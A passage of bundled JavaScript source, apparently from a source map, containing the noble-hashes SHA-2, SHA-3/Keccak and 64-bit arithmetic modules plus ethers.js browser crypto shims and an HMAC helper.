runs\n// Named this way because it matches specification.\nconst SHA256_W = /* @__PURE__ */ new Uint32Array(64);\nclass SHA256 extends SHA2 {\n constructor() {\n super(64, 32, 8, false);\n // We cannot use array here since array allows indexing by variable\n // which means optimizer/compiler cannot use registers.\n this.A = IV[0] | 0;\n this.B = IV[1] | 0;\n this.C = IV[2] | 0;\n this.D = IV[3] | 0;\n this.E = IV[4] | 0;\n this.F = IV[5] | 0;\n this.G = IV[6] | 0;\n this.H = IV[7] | 0;\n }\n get() {\n const { A, B, C, D, E, F, G, H } = this;\n return [A, B, C, D, E, F, G, H];\n }\n // prettier-ignore\n set(A, B, C, D, E, F, G, H) {\n this.A = A | 0;\n this.B = B | 0;\n this.C = C | 0;\n this.D = D | 0;\n this.E = E | 0;\n this.F = F | 0;\n this.G = G | 0;\n this.H = H | 0;\n }\n process(view, offset) {\n // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array\n for (let i = 0; i < 16; i++, offset += 4)\n SHA256_W[i] = view.getUint32(offset, false);\n for (let i = 16; i < 64; i++) {\n const W15 = SHA256_W[i - 15];\n const W2 = SHA256_W[i - 2];\n const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ (W15 >>> 3);\n const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ (W2 >>> 10);\n SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0;\n }\n // Compression function main loop, 64 rounds\n let { A, B, C, D, E, F, G, H } = this;\n for (let i = 0; i < 64; i++) {\n const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25);\n const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0;\n const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22);\n const T2 = (sigma0 + Maj(A, B, C)) | 0;\n H = G;\n G = F;\n F = E;\n E = (D + T1) | 0;\n D = C;\n C = B;\n B = A;\n A = (T1 + T2) | 0;\n }\n // Add the compressed chunk to the current hash value\n A = (A + this.A) | 0;\n B = (B + this.B) | 0;\n C = (C + this.C) | 0;\n D = (D + this.D) | 0;\n E = (E + this.E) | 0;\n F = (F + this.F) | 0;\n G = (G + this.G) | 0;\n H = (H + this.H) | 0;\n this.set(A, B, C, D, E, F, G, H);\n }\n roundClean() {\n SHA256_W.fill(0);\n }\n destroy() {\n this.set(0, 0, 0, 0, 0, 0, 0, 0);\n this.buffer.fill(0);\n }\n}\n// Constants from https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\nclass SHA224 extends SHA256 {\n constructor() {\n super();\n this.A = 0xc1059ed8 | 0;\n this.B = 0x367cd507 | 0;\n this.C = 0x3070dd17 | 0;\n this.D = 0xf70e5939 | 0;\n this.E = 0xffc00b31 | 0;\n this.F = 0x68581511 | 0;\n this.G = 0x64f98fa7 | 0;\n this.H = 0xbefa4fa4 | 0;\n this.outputLen = 28;\n }\n}\n/**\n * SHA2-256 hash function\n * @param message - data that would be hashed\n */\nexport const sha256 = /* @__PURE__ */ wrapConstructor(() => new SHA256());\nexport const sha224 = /* @__PURE__ */ wrapConstructor(() => new SHA224());\n//# sourceMappingURL=sha256.js.map","const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1);\nconst _32n = /* @__PURE__ */ BigInt(32);\n// We are not using BigUint64Array, because they are extremely slow as per 2022\nfunction fromBig(n, le = false) {\n if (le)\n return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) };\n return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 };\n}\nfunction split(lst, le = false) {\n let Ah = new Uint32Array(lst.length);\n let Al = new Uint32Array(lst.length);\n for (let i = 0; i < lst.length; i++) {\n const { h, l } = fromBig(lst[i], le);\n [Ah[i], Al[i]] = [h, l];\n }\n return [Ah, Al];\n}\nconst toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0);\n// for Shift in [0, 32)\nconst shrSH = (h, _l, s) => h >>> s;\nconst shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s);\n// Right rotate for Shift in [1, 32)\nconst rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s));\nconst rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s);\n// Right rotate for Shift in (32, 64), NOTE: 32 is special case.\nconst rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32));\nconst rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s));\n// Right rotate for shift===32 (just swaps l&h)\nconst rotr32H = (_h, l) => l;\nconst rotr32L = (h, _l) => h;\n// Left rotate for Shift in [1, 32)\nconst rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s));\nconst rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s));\n// Left rotate for Shift in (32, 64), NOTE: 32 is special case.\nconst rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s));\nconst rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s));\n// JS uses 32-bit signed integers for bitwise operations which means we cannot\n// simple take carry out of low bit sum by shift, we need to use division.\nfunction add(Ah, Al, Bh, Bl) {\n const l = (Al >>> 0) + (Bl >>> 0);\n return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 };\n}\n// Addition with more than 2 elements\nconst add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0);\nconst add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0;\nconst add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0);\nconst add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0;\nconst add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0);\nconst add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0;\n// prettier-ignore\nexport { fromBig, split, toBig, shrSH, shrSL, rotrSH, rotrSL, rotrBH, rotrBL, rotr32H, rotr32L, rotlSH, rotlSL, rotlBH, rotlBL, add, add3L, add3H, add4L, add4H, add5H, add5L, };\n// prettier-ignore\nconst u64 = {\n fromBig, split, toBig,\n shrSH, shrSL,\n rotrSH, rotrSL, rotrBH, rotrBL,\n rotr32H, rotr32L,\n rotlSH, rotlSL, rotlBH, rotlBL,\n add, add3L, add3H, add4L, add4H, add5H, add5L,\n};\nexport default u64;\n//# sourceMappingURL=_u64.js.map","import { SHA2 } from './_sha2.js';\nimport u64 from './_u64.js';\nimport { wrapConstructor } from './utils.js';\n// Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409):\n// prettier-ignore\nconst [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => u64.split([\n '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc',\n '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118',\n '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2',\n '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694',\n '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65',\n '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5',\n '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4',\n '0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70',\n '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df',\n '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b',\n '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30',\n '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8',\n '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8',\n '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3',\n '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec',\n '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b',\n '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178',\n '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b',\n '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c',\n '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817'\n].map(n => BigInt(n))))();\n// Temporary buffer, not used to store anything between runs\nconst SHA512_W_H = /* @__PURE__ */ new Uint32Array(80);\nconst SHA512_W_L = /* @__PURE__ */ new Uint32Array(80);\nexport class SHA512 extends SHA2 {\n constructor() {\n super(128, 64, 16, false);\n // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers.\n // Also looks cleaner and easier to verify with spec.\n // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19):\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0x6a09e667 | 0;\n this.Al = 0xf3bcc908 | 0;\n this.Bh = 0xbb67ae85 | 0;\n this.Bl = 0x84caa73b | 0;\n this.Ch = 0x3c6ef372 | 0;\n this.Cl = 0xfe94f82b | 0;\n this.Dh = 0xa54ff53a | 0;\n this.Dl = 0x5f1d36f1 | 0;\n this.Eh = 0x510e527f | 0;\n this.El = 0xade682d1 | 0;\n this.Fh = 0x9b05688c | 0;\n this.Fl = 0x2b3e6c1f | 0;\n this.Gh = 0x1f83d9ab | 0;\n this.Gl = 0xfb41bd6b | 0;\n this.Hh = 0x5be0cd19 | 0;\n this.Hl = 0x137e2179 | 0;\n }\n // prettier-ignore\n get() {\n const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this;\n return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl];\n }\n // prettier-ignore\n set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) {\n this.Ah = Ah | 0;\n this.Al = Al | 0;\n this.Bh = Bh | 0;\n this.Bl = Bl | 0;\n this.Ch = Ch | 0;\n this.Cl = Cl | 0;\n this.Dh = Dh | 0;\n this.Dl = Dl | 0;\n this.Eh = Eh | 0;\n this.El = El | 0;\n this.Fh = Fh | 0;\n this.Fl = Fl | 0;\n this.Gh = Gh | 0;\n this.Gl = Gl | 0;\n this.Hh = Hh | 0;\n this.Hl = Hl | 0;\n }\n process(view, offset) {\n // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array\n for (let i = 0; i < 16; i++, offset += 4) {\n SHA512_W_H[i] = view.getUint32(offset);\n SHA512_W_L[i] = view.getUint32((offset += 4));\n }\n for (let i = 16; i < 80; i++) {\n // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7)\n const W15h = SHA512_W_H[i - 15] | 0;\n const W15l = SHA512_W_L[i - 15] | 0;\n const s0h = u64.rotrSH(W15h, W15l, 1) ^ u64.rotrSH(W15h, W15l, 8) ^ u64.shrSH(W15h, W15l, 7);\n const s0l = u64.rotrSL(W15h, W15l, 1) ^ u64.rotrSL(W15h, W15l, 8) ^ u64.shrSL(W15h, W15l, 7);\n // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6)\n const W2h = SHA512_W_H[i - 2] | 0;\n const W2l = SHA512_W_L[i - 2] | 0;\n const s1h = u64.rotrSH(W2h, W2l, 19) ^ u64.rotrBH(W2h, W2l, 61) ^ u64.shrSH(W2h, W2l, 6);\n const s1l = u64.rotrSL(W2h, W2l, 19) ^ u64.rotrBL(W2h, W2l, 61) ^ u64.shrSL(W2h, W2l, 6);\n // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16];\n const SUMl = u64.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]);\n const SUMh = u64.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]);\n SHA512_W_H[i] = SUMh | 0;\n SHA512_W_L[i] = SUMl | 0;\n }\n let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this;\n // Compression function main loop, 80 rounds\n for (let i = 0; i < 80; i++) {\n // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41)\n const sigma1h = u64.rotrSH(Eh, El, 14) ^ u64.rotrSH(Eh, El, 18) ^ u64.rotrBH(Eh, El, 41);\n const sigma1l = u64.rotrSL(Eh, El, 14) ^ u64.rotrSL(Eh, El, 18) ^ u64.rotrBL(Eh, El, 41);\n //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0;\n const CHIh = (Eh & Fh) ^ (~Eh & Gh);\n const CHIl = (El & Fl) ^ (~El & Gl);\n // T1 = H + sigma1 + Chi(E, F, G) + SHA512_K[i] + SHA512_W[i]\n // prettier-ignore\n const T1ll = u64.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]);\n const T1h = u64.add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]);\n const T1l = T1ll | 0;\n // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39)\n const sigma0h = u64.rotrSH(Ah, Al, 28) ^ u64.rotrBH(Ah, Al, 34) ^ u64.rotrBH(Ah, Al, 39);\n const sigma0l = u64.rotrSL(Ah, Al, 28) ^ u64.rotrBL(Ah, Al, 34) ^ u64.rotrBL(Ah, Al, 39);\n const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch);\n const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl);\n Hh = Gh | 0;\n Hl = Gl | 0;\n Gh = Fh | 0;\n Gl = Fl | 0;\n Fh = Eh | 0;\n Fl = El | 0;\n ({ h: Eh, l: El } = u64.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0));\n Dh = Ch | 0;\n Dl = Cl | 0;\n Ch = Bh | 0;\n Cl = Bl | 0;\n Bh = Ah | 0;\n Bl = Al | 0;\n const All = u64.add3L(T1l, sigma0l, MAJl);\n Ah = u64.add3H(All, T1h, sigma0h, MAJh);\n Al = All | 0;\n }\n // Add the compressed chunk to the current hash value\n ({ h: Ah, l: Al } = u64.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0));\n ({ h: Bh, l: Bl } = u64.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0));\n ({ h: Ch, l: Cl } = u64.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0));\n ({ h: Dh, l: Dl } = u64.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0));\n ({ h: Eh, l: El } = u64.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0));\n ({ h: Fh, l: Fl } = u64.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0));\n ({ h: Gh, l: Gl } = u64.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0));\n ({ h: Hh, l: Hl } = u64.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0));\n this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl);\n }\n roundClean() {\n SHA512_W_H.fill(0);\n SHA512_W_L.fill(0);\n }\n destroy() {\n this.buffer.fill(0);\n this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);\n }\n}\nclass SHA512_224 extends SHA512 {\n constructor() {\n super();\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0x8c3d37c8 | 0;\n this.Al = 0x19544da2 | 0;\n this.Bh = 0x73e19966 | 0;\n this.Bl = 0x89dcd4d6 | 0;\n this.Ch = 0x1dfab7ae | 0;\n this.Cl = 0x32ff9c82 | 0;\n this.Dh = 0x679dd514 | 0;\n this.Dl = 0x582f9fcf | 0;\n this.Eh = 0x0f6d2b69 | 0;\n this.El = 0x7bd44da8 | 0;\n this.Fh = 0x77e36f73 | 0;\n this.Fl = 0x04c48942 | 0;\n this.Gh = 0x3f9d85a8 | 0;\n this.Gl = 0x6a1d36c8 | 0;\n this.Hh = 0x1112e6ad | 0;\n this.Hl = 0x91d692a1 | 0;\n this.outputLen = 28;\n }\n}\nclass SHA512_256 extends SHA512 {\n constructor() {\n super();\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0x22312194 | 0;\n this.Al = 0xfc2bf72c | 0;\n this.Bh = 0x9f555fa3 | 0;\n this.Bl = 0xc84c64c2 | 0;\n this.Ch = 0x2393b86b | 0;\n this.Cl = 0x6f53b151 | 0;\n this.Dh = 0x96387719 | 0;\n this.Dl = 0x5940eabd | 0;\n this.Eh = 0x96283ee2 | 0;\n this.El = 0xa88effe3 | 0;\n this.Fh = 0xbe5e1e25 | 0;\n this.Fl = 0x53863992 | 0;\n this.Gh = 0x2b0199fc | 0;\n this.Gl = 0x2c85b8aa | 0;\n this.Hh = 0x0eb72ddc | 0;\n this.Hl = 0x81c52ca2 | 0;\n this.outputLen = 32;\n }\n}\nclass SHA384 extends SHA512 {\n constructor() {\n super();\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0xcbbb9d5d | 0;\n this.Al = 0xc1059ed8 | 0;\n this.Bh = 0x629a292a | 0;\n this.Bl = 0x367cd507 | 0;\n this.Ch = 0x9159015a | 0;\n this.Cl = 0x3070dd17 | 0;\n this.Dh = 0x152fecd8 | 0;\n this.Dl = 0xf70e5939 | 0;\n this.Eh = 0x67332667 | 0;\n this.El = 0xffc00b31 | 0;\n this.Fh = 0x8eb44a87 | 0;\n this.Fl = 0x68581511 | 0;\n this.Gh = 0xdb0c2e0d | 0;\n this.Gl = 0x64f98fa7 | 0;\n this.Hh = 0x47b5481d | 0;\n this.Hl = 0xbefa4fa4 | 0;\n this.outputLen = 48;\n }\n}\nexport const sha512 = /* @__PURE__ */ wrapConstructor(() => new SHA512());\nexport const sha512_224 = /* @__PURE__ */ wrapConstructor(() => new SHA512_224());\nexport const sha512_256 = /* @__PURE__ */ wrapConstructor(() => new SHA512_256());\nexport const sha384 = /* @__PURE__ */ wrapConstructor(() => new SHA384());\n//# sourceMappingURL=sha512.js.map","/* Browser Crypto Shims */\nimport { hmac } from \"@noble/hashes/hmac\";\nimport { pbkdf2 } from \"@noble/hashes/pbkdf2\";\nimport { sha256 } from \"@noble/hashes/sha256\";\nimport { sha512 } from \"@noble/hashes/sha512\";\nimport { assert, assertArgument } from \"../utils/index.js\";\nfunction getGlobal() {\n if (typeof self !== 'undefined') {\n return self;\n }\n if (typeof window !== 'undefined') {\n return window;\n }\n if (typeof global !== 'undefined') {\n return global;\n }\n throw new Error('unable to locate global object');\n}\n;\nconst anyGlobal = getGlobal();\nconst crypto = anyGlobal.crypto || anyGlobal.msCrypto;\nexport function createHash(algo) {\n switch (algo) {\n case \"sha256\": return sha256.create();\n case \"sha512\": return sha512.create();\n }\n assertArgument(false, \"invalid hashing algorithm name\", \"algorithm\", algo);\n}\nexport function createHmac(_algo, key) {\n const algo = ({ sha256, sha512 }[_algo]);\n assertArgument(algo != null, \"invalid hmac algorithm\", \"algorithm\", _algo);\n return hmac.create(algo, key);\n}\nexport function pbkdf2Sync(password, salt, iterations, keylen, _algo) {\n const algo = ({ sha256, sha512 }[_algo]);\n assertArgument(algo != null, \"invalid pbkdf2 algorithm\", \"algorithm\", _algo);\n return pbkdf2(algo, password, salt, { c: iterations, dkLen: keylen });\n}\nexport function randomBytes(length) {\n assert(crypto != null, \"platform does not support secure random numbers\", \"UNSUPPORTED_OPERATION\", {\n operation: \"randomBytes\"\n });\n assertArgument(Number.isInteger(length) && length > 0 && length <= 1024, \"invalid length\", \"length\", length);\n const result = new Uint8Array(length);\n crypto.getRandomValues(result);\n return result;\n}\n//# sourceMappingURL=crypto-browser.js.map","/**\n * An **HMAC** enables verification that a given key was used\n * to authenticate a payload.\n *\n * See: [[link-wiki-hmac]]\n *\n * @_subsection: api/crypto:HMAC [about-hmac]\n */\nimport { createHmac } from \"./crypto.js\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _computeHmac = function (algorithm, key, data) {\n return createHmac(algorithm, key).update(data).digest();\n};\nlet __computeHmac = _computeHmac;\n/**\n * Return the HMAC for %%data%% using the %%key%% key with the underlying\n * %%algo%% used for compression.\n *\n * @example:\n * key = id(\"some-secret\")\n *\n * // Compute the HMAC\n * computeHmac(\"sha256\", key, \"0x1337\")\n * //_result:\n *\n * // To compute the HMAC of UTF-8 data, the data must be\n * // converted to UTF-8 bytes\n * computeHmac(\"sha256\", key, toUtf8Bytes(\"Hello World\"))\n * //_result:\n *\n */\nexport function computeHmac(algorithm, _key, _data) {\n const key = getBytes(_key, \"key\");\n const data = getBytes(_data, \"data\");\n return hexlify(__computeHmac(algorithm, key, data));\n}\ncomputeHmac._ = _computeHmac;\ncomputeHmac.lock = function () { locked = true; };\ncomputeHmac.register = function (func) {\n if (locked) {\n throw new Error(\"computeHmac is locked\");\n }\n __computeHmac = func;\n};\nObject.freeze(computeHmac);\n//# sourceMappingURL=hmac.js.map","import { bytes, exists, number, output } from './_assert.js';\nimport { rotlBH, rotlBL, rotlSH, rotlSL, split } from './_u64.js';\nimport { Hash, u32, toBytes, wrapConstructor, wrapXOFConstructorWithOpts, } from './utils.js';\n// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size.\n// It's called a sponge function.\n// Various per round constants calculations\nconst [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []];\nconst _0n = /* @__PURE__ */ BigInt(0);\nconst _1n = /* @__PURE__ */ BigInt(1);\nconst _2n = /* @__PURE__ */ BigInt(2);\nconst _7n = /* @__PURE__ */ BigInt(7);\nconst _256n = /* @__PURE__ */ BigInt(256);\nconst _0x71n = /* @__PURE__ */ BigInt(0x71);\nfor (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) {\n // Pi\n [x, y] = [y, (2 * x + 3 * y) % 5];\n SHA3_PI.push(2 * (5 * y + x));\n // Rotational\n SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64);\n // Iota\n let t = _0n;\n for (let j = 0; j < 7; j++) {\n R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n;\n if (R & _2n)\n t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n);\n }\n _SHA3_IOTA.push(t);\n}\nconst [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split(_SHA3_IOTA, true);\n// Left rotation (without 0, 32, 64)\nconst rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s));\nconst rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s));\n// Same as keccakf1600, but allows to skip some rounds\nexport function keccakP(s, rounds = 24) {\n const B = new Uint32Array(5 * 2);\n // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js)\n for (let round = 24 - rounds; round < 24; round++) {\n // Theta θ\n for (let x = 0; x < 10; x++)\n B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40];\n for (let x = 0; x < 10; x += 2) {\n const idx1 = (x + 8) % 10;\n const idx0 = (x + 2) % 10;\n const B0 = B[idx0];\n const B1 = B[idx0 + 1];\n const Th = rotlH(B0, B1, 1) ^ B[idx1];\n const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1];\n for (let y = 0; y < 50; y += 10) {\n s[x + y] ^= Th;\n s[x + y + 1] ^= Tl;\n }\n }\n // Rho (ρ) and Pi (π)\n let curH = s[2];\n let curL = s[3];\n for (let t = 0; t < 24; t++) {\n const shift = SHA3_ROTL[t];\n const Th = rotlH(curH, curL, shift);\n const Tl = rotlL(curH, curL, shift);\n const PI = SHA3_PI[t];\n curH = s[PI];\n curL = s[PI + 1];\n s[PI] = Th;\n s[PI + 1] = Tl;\n }\n // Chi (χ)\n for (let y = 0; y < 50; y += 10) {\n for (let x = 0; x < 10; x++)\n B[x] = s[y + x];\n for (let x = 0; x < 10; x++)\n s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10];\n }\n // Iota (ι)\n s[0] ^= SHA3_IOTA_H[round];\n s[1] ^= SHA3_IOTA_L[round];\n }\n B.fill(0);\n}\nexport class Keccak extends Hash {\n // NOTE: we accept arguments in bytes instead of bits here.\n constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) {\n super();\n this.blockLen = blockLen;\n this.suffix = suffix;\n this.outputLen = outputLen;\n this.enableXOF = enableXOF;\n this.rounds = rounds;\n this.pos = 0;\n this.posOut = 0;\n this.finished = false;\n this.destroyed = false;\n // Can be passed from user as dkLen\n number(outputLen);\n // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes\n if (0 >= this.blockLen || this.blockLen >= 200)\n throw new Error('Sha3 supports only keccak-f1600 function');\n this.state = new Uint8Array(200);\n this.state32 = u32(this.state);\n }\n keccak() {\n keccakP(this.state32, this.rounds);\n this.posOut = 0;\n this.pos = 0;\n }\n update(data) {\n exists(this);\n const { blockLen, state } = this;\n data = toBytes(data);\n const len = data.length;\n for (let pos = 0; pos < len;) {\n const take = Math.min(blockLen - this.pos, len - pos);\n for (let i = 0; i < take; i++)\n state[this.pos++] ^= data[pos++];\n if (this.pos === blockLen)\n this.keccak();\n }\n return this;\n }\n finish() {\n if (this.finished)\n return;\n this.finished = true;\n const { state, suffix, pos, blockLen } = this;\n // Do the padding\n state[pos] ^= suffix;\n if ((suffix & 0x80) !== 0 && pos === blockLen - 1)\n this.keccak();\n state[blockLen - 1] ^= 0x80;\n this.keccak();\n }\n writeInto(out) {\n exists(this, false);\n bytes(out);\n this.finish();\n const bufferOut = this.state;\n const { blockLen } = this;\n for (let pos = 0, len = out.length; pos < len;) {\n if (this.posOut >= blockLen)\n this.keccak();\n const take = Math.min(blockLen - this.posOut, len - pos);\n out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos);\n this.posOut += take;\n pos += take;\n }\n return out;\n }\n xofInto(out) {\n // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF\n if (!this.enableXOF)\n throw new Error('XOF is not possible for this instance');\n return this.writeInto(out);\n }\n xof(bytes) {\n number(bytes);\n return this.xofInto(new Uint8Array(bytes));\n }\n digestInto(out) {\n output(out, this);\n if (this.finished)\n throw new Error('digest() was already called');\n this.writeInto(out);\n this.destroy();\n return out;\n }\n digest() {\n return this.digestInto(new Uint8Array(this.outputLen));\n }\n destroy() {\n this.destroyed = true;\n this.state.fill(0);\n }\n _cloneInto(to) {\n const { blockLen, suffix, outputLen, rounds, enableXOF } = this;\n to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds));\n to.state32.set(this.state32);\n to.pos = this.pos;\n to.posOut = this.posOut;\n to.finished = this.finished;\n to.rounds = rounds;\n // Suffix can change in cSHAKE\n to.suffix = suffix;\n to.outputLen = outputLen;\n to.enableXOF = enableXOF;\n to.destroyed = this.destroyed;\n return to;\n }\n}\nconst gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen));\nexport const sha3_224 = /* @__PURE__ */ gen(0x06, 144, 224 / 8);\n/**\n * SHA3-256 hash function\n * @param message - that would be hashed\n */\nexport const sha3_256 = /* @__PURE__ */ gen(0x06, 136, 256 / 8);\nexport const sha3_384 = /* @__PURE__ */ gen(0x06, 104, 384 / 8);\nexport const sha3_512 = /* @__PURE__ */ gen(0x06, 72, 512 / 8);\nexport const keccak_224 = /* @__PURE__ */ gen(0x01, 144, 224 / 8);\n/**\n * keccak-256 hash function. Different from SHA3-256.\n * @param message - that would be hashed\n */\nexport const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8);\nexport const keccak_384 = /* @__PURE__ */ gen(0x01, 104, 384 / 8);\nexport const keccak_512 = /* @__PURE__ */ gen(0x01, 72, 512 / 8);\nconst genShake = (suffix, blockLen, outputLen) => wrapXOFConstructorWithOpts((opts = {}) => new Keccak(blockLen, suffix, opts.dkLen === undefined ? outputLen : opts.dkLen, true));\nexport const shake128 = /* @__PURE__ */ genShake(0x1f, 168, 128 / 8);\nexport const shake256 = /* @__PURE__ */ genShake(0x1f, 136, 256 / 8);\n//# sourceMappingURL=sha3.js.map","/**\n * Cryptographic hashing functions\n *\n * @_subsection: api/crypto:Hash Functions [about-crypto-hashing]\n */\nimport { keccak_256 } from \"@noble/hashes/sha3\";\nimport { getBytes, hexlify } from 